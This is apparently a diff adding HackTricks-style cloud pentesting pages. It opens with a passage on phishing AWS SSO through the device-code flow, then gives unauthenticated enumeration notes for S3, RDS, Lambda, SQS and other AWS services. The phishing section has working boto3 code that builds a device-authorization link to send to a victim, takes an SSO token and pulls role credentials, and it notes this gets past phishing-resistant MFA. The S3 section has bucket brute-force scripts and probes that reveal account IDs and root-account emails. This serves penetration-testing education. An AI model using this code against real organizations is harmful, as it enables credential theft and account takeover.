sso_oidc = boto3.client('sso-oidc', region_name=REGION)
|
||||
client = sso_oidc.register_client(
|
||||
clientName = 'attacker',
|
||||
clientType = 'public'
|
||||
)
|
||||
|
||||
client_id = client.get('clientId')
|
||||
client_secret = client.get('clientSecret')
|
||||
authz = sso_oidc.start_device_authorization(
|
||||
clientId=client_id,
|
||||
clientSecret=client_secret,
|
||||
startUrl=AWS_SSO_START_URL
|
||||
)
|
||||
|
||||
url = authz.get('verificationUriComplete')
|
||||
deviceCode = authz.get('deviceCode')
|
||||
print("Give this URL to the victim: " + url)
|
||||
```
|
||||
|
||||
Send the generated link to the victim using you awesome social engineering skills!
|
||||
|
||||
3. **Wait until the victim accepts it**
|
||||
|
||||
If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\
|
||||
This is how the promp looks nowadays:
|
||||
|
||||
<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
|
||||
|
||||
4. **Get SSO access token**
|
||||
|
||||
If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**:
|
||||
|
||||
```python
|
||||
token_response = sso_oidc.create_token(
|
||||
clientId=client_id,
|
||||
clientSecret=client_secret,
|
||||
grantType="urn:ietf:params:oauth:grant-type:device_code",
|
||||
deviceCode=deviceCode
|
||||
)
|
||||
sso_token = token_response.get('accessToken')
|
||||
```
|
||||
|
||||
The SSO access token is **valid for 8h**.
|
||||
|
||||
5. **Impersonate the user**
|
||||
|
||||
```python
|
||||
sso_client = boto3.client('sso', region_name=REGION)
|
||||
|
||||
# List accounts where the user has access
|
||||
aws_accounts_response = sso_client.list_accounts(
|
||||
accessToken=sso_token,
|
||||
maxResults=100
|
||||
)
|
||||
aws_accounts_response.get('accountList', [])
|
||||
|
||||
# Get roles inside an account
|
||||
roles_response = sso_client.list_account_roles(
|
||||
accessToken=sso_token,
|
||||
accountId=<account_id>
|
||||
)
|
||||
roles_response.get('roleList', [])
|
||||
|
||||
# Get credentials over a role
|
||||
|
||||
sts_creds = sso_client.get_role_credentials(
|
||||
accessToken=sso_token,
|
||||
roleName=<role_name>,
|
||||
accountId=<account_id>
|
||||
)
|
||||
sts_creds.get('roleCredentials')
|
||||
```
|
||||
|
||||
### Phishing the unphisable MFA
|
||||
|
||||
It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user.
|
||||
|
||||
For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html).
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
|
||||
- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
|
||||
|
||||
## References
|
||||
|
||||
- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
|
||||
- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
|
||||
- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
|
||||
- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,13 @@
|
||||
# AWS - IoT Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
mqtt://{random_id}.iot.{region}.amazonaws.com:8883
|
||||
https://{random_id}.iot.{region}.amazonaws.com:8443
|
||||
https://{random_id}.iot.{region}.amazonaws.com:443
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,11 @@
|
||||
# AWS - Kinesis Video Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
https://{random_id}.kinesisvideo.{region}.amazonaws.com
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,22 @@
|
||||
# AWS - Lambda Unauthenticated Access
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Public Function URL
|
||||
|
||||
It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities.
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
https://{random_id}.lambda-url.{region}.on.aws/
|
||||
```
|
||||
|
||||
### Get Account ID from public Lambda URL
|
||||
|
||||
Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\
|
||||
This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones).
|
||||
|
||||
You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,13 @@
|
||||
# AWS - Media Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
https://{random_id}.mediaconvert.{region}.amazonaws.com
|
||||
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
|
||||
https://{random_id}.data.mediastore.{region}.amazonaws.com
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,22 @@
|
||||
# AWS - MQ Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Public Port
|
||||
|
||||
### **RabbitMQ**
|
||||
|
||||
In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
|
||||
|
||||
### ActiveMQ
|
||||
|
||||
In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access.
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
|
||||
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,18 @@
|
||||
# AWS - MSK Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Public Port
|
||||
|
||||
It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured).
|
||||
|
||||
It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet.
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
|
||||
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,44 @@
|
||||
# AWS - RDS Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Public Port
|
||||
|
||||
It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database.
|
||||
|
||||
## Public RDS Snapshots
|
||||
|
||||
AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account:
|
||||
|
||||
```bash
|
||||
# Public RDS snapshots
|
||||
aws rds describe-db-snapshots --include-public
|
||||
|
||||
## Search by account ID
|
||||
aws rds describe-db-snapshots --include-public --query 'DBSnapshots[?contains(DBSnapshotIdentifier, `284546856933:`) == `true`]'
|
||||
## To share a RDS snapshot with everybody the RDS DB cannot be encrypted (so the snapshot won't be encryted)
|
||||
## To share a RDS encrypted snapshot you need to share the KMS key also with the account
|
||||
|
||||
|
||||
# From the own account you can check if there is any public snapshot with:
|
||||
aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]
|
||||
## Even if in the console appear as there are public snapshot it might be public
|
||||
## snapshots from other accounts used by the current account
|
||||
```
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
|
||||
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,11 @@
|
||||
# AWS - Redshift Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
{user_provided}.<random>.<region>.redshift.amazonaws.com
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,203 @@
|
||||
# AWS - S3 Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3 Public Buckets
|
||||
|
||||
A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**.
|
||||
|
||||
Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs).
|
||||
|
||||
**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud)
|
||||
|
||||
### Finding AWS Buckets
|
||||
|
||||
Different methods to find when a webpage is using AWS to storage some resources:
|
||||
|
||||
#### Enumeration & OSINT:
|
||||
|
||||
- Using **wappalyzer** browser plugin
|
||||
- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History.
|
||||
- **Check for resources** in domains like:
|
||||
|
||||
```
|
||||
http://s3.amazonaws.com/[bucket_name]/
|
||||
http://[bucket_name].s3.amazonaws.com/
|
||||
```
|
||||
|
||||
- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com`
|
||||
- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**.
|
||||
- The **bucket name** and the **bucket domain name** needs to be **the same.**
|
||||
- **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`.
|
||||
- To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
|
||||
|
||||
#### Brute-Force
|
||||
|
||||
You can find buckets by **brute-forcing name**s related to the company you are pentesting:
|
||||
|
||||
- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
|
||||
- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names)
|
||||
- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
|
||||
- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
|
||||
- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
|
||||
- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3)
|
||||
- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
|
||||
- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># Generate a wordlist to create permutations
|
||||
curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
|
||||
curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
|
||||
cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
|
||||
|
||||
# Generate a wordlist based on the domains and subdomains to test
|
||||
## Write those domains and subdomains in subdomains.txt
|
||||
cat subdomains.txt > /tmp/words-hosts-s3.txt
|
||||
cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
|
||||
cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
|
||||
|
||||
# Create permutations based in a list with the domains and subdomains to attack
|
||||
goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
|
||||
## The previous tool is specialized increating permutations for subdomains, lets filter that list
|
||||
<strong>### Remove lines ending with "."
|
||||
</strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
|
||||
### Create list without TLD
|
||||
cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
|
||||
### Create list without dots
|
||||
cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
|
||||
### Create list without hyphens
|
||||
cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
|
||||
|
||||
## Generate the final wordlist
|
||||
cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
|
||||
|
||||
## Call s3scanner
|
||||
s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep bucket_exists
|
||||
</code></pre>
|
||||
|
||||
#### Loot S3 Buckets
|
||||
|
||||
Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**.
|
||||
|
||||
### Find the Region
|
||||
|
||||
You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
|
||||
|
||||
#### By DNS
|
||||
|
||||
You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**:
|
||||
|
||||
```bash
|
||||
dig flaws.cloud
|
||||
;; ANSWER SECTION:
|
||||
flaws.cloud. 5 IN A 52.218.192.11
|
||||
|
||||
nslookup 52.218.192.11
|
||||
Non-authoritative answer:
|
||||
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
|
||||
```
|
||||
|
||||
Check that the resolved domain have the word "website".\
|
||||
You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
|
||||
or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com`
|
||||
|
||||
#### By Trying
|
||||
|
||||
If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**:
|
||||
|
||||
.png>)
|
||||
|
||||
### Enumerating the bucket
|
||||
|
||||
To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored.
|
||||
|
||||
Open to everyone:
|
||||
|
||||
.png>)
|
||||
|
||||
Private:
|
||||
|
||||
.png>)
|
||||
|
||||
You can also check this with the cli:
|
||||
|
||||
```bash
|
||||
#Use --no-sign-request for check Everyones permissions
|
||||
#Use --profile <PROFILE_NAME> to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
|
||||
#--recursive if you want list recursivelyls
|
||||
#Opcionally you can select the region if you now it
|
||||
aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
|
||||
```
|
||||
|
||||
If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://<BUCKETNAME>`
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
https://{user_provided}.s3.amazonaws.com
|
||||
```
|
||||
|
||||
### Get Account ID from public Bucket
|
||||
|
||||
It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in).\
|
||||
And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**.
|
||||
|
||||
This tool automates the process:
|
||||
|
||||
```bash
|
||||
# Installation
|
||||
pipx install s3-account-search
|
||||
pip install s3-account-search
|
||||
# With a bucket
|
||||
s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
|
||||
# With an object
|
||||
s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
|
||||
```
|
||||
|
||||
This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
|
||||
|
||||
### Confirming a bucket belongs to an AWS account
|
||||
|
||||
As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** it’s possible to confirm an accountID the bucket belongs to by sending a request like:
|
||||
|
||||
```bash
|
||||
curl -X GET "[bucketname].amazonaws.com/" \
|
||||
-H "x-amz-expected-bucket-owner: [correct-account-id]"
|
||||
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
|
||||
```
|
||||
|
||||
If the error is an “Access Denied” it means that the account ID was wrong.
|
||||
|
||||
### Used Emails as root account enumeration
|
||||
|
||||
As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account:
|
||||
|
||||
```python
|
||||
s3_client.put_bucket_acl(
|
||||
Bucket=bucket_name,
|
||||
AccessControlPolicy={
|
||||
'Grants': [
|
||||
{
|
||||
'Grantee': {
|
||||
'EmailAddress': 'some@emailtotest.com',
|
||||
'Type': 'AmazonCustomerByEmail',
|
||||
},
|
||||
'Permission': 'READ'
|
||||
},
|
||||
],
|
||||
'Owner': {
|
||||
'DisplayName': 'Whatever',
|
||||
'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
|
||||
}
|
||||
}
|
||||
)
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - SNS Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
For more information about SNS check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Open to All
|
||||
|
||||
When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic:
|
||||
|
||||
<figure><img src="../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - SQS Unauthenticated Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
For more information about SQS check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Public URL template
|
||||
|
||||
```
|
||||
https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
|
||||
```
|
||||
|
||||
### Check Permissions
|
||||
|
||||
It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user